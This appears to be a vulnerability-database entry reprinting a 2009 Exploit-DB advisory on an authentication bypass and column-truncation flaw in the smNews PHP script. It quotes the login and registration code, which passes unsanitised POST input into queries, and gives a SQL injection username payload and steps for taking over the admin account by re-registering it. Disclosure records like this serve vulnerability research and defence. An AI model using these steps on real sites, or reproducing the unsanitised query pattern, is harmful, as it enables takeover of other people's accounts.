smNews Auth Bypass/Column Truncation

vendor:

smNews

by:

x0r

6.4

CVSS

MEDIUM

Auth Bypass/Column Truncation

CWE

Product Name: smNews

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

smNews Auth Bypass/Column Truncation

Bugged file is /[path]/smNews/login.php [...] register.php. Exploit: 1- Username: admin ' or ' Password: x0r 2- You have only to re-reg the admin.. ex: (if admin nick is 'lol' you reg an account with your passwd, email and nick 'lol' ^^ easy :P

Mitigation:

Ensure that user input is properly validated and sanitized before being used in SQL queries.

Source

Exploit-DB raw data:

#########################################################################################
[0x01] Informations:
Name           : smNews
Download       : http://downloads.sourceforge.net/simplequizz/simpleQuizz.zip?modtime=1229788692&big_mirror=0
Vulnerability  : Auth Bypass/Column Truncation
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian //
Greetz         : Str0ke,
#########################################################################################
[0x02] Bug:
Bugged file is /[path]/smNews/login.php [...] register.php
[code]
  $results = execute('select',
        array('table' => 'users',
       'where' => array('username =~ ^'.$_POST['username'].'$', 'and', 'password = '.md5($_POST['password'])),
       'limit' => array(0,0)));
[/code]

[code]
  execute('insert',
    array('table' => 'users',
          'values' => array('username' => $_POST['username'],
                            'password' => md5($_POST['password']),
                            'email'    => $_POST['email'])));
[/code]
#########################################################################################
[0x03] Exploit:
Exploit: 1- Username: admin ' or '
            Password: x0r
      2- You have only to re-reg the admin.. ex: (if admin nick is 'lol' you reg an
      account with your passwd, email and nick 'lol' ^^ easy :P
########################################################################################

EOF

# milw0rm.com [2009-02-18]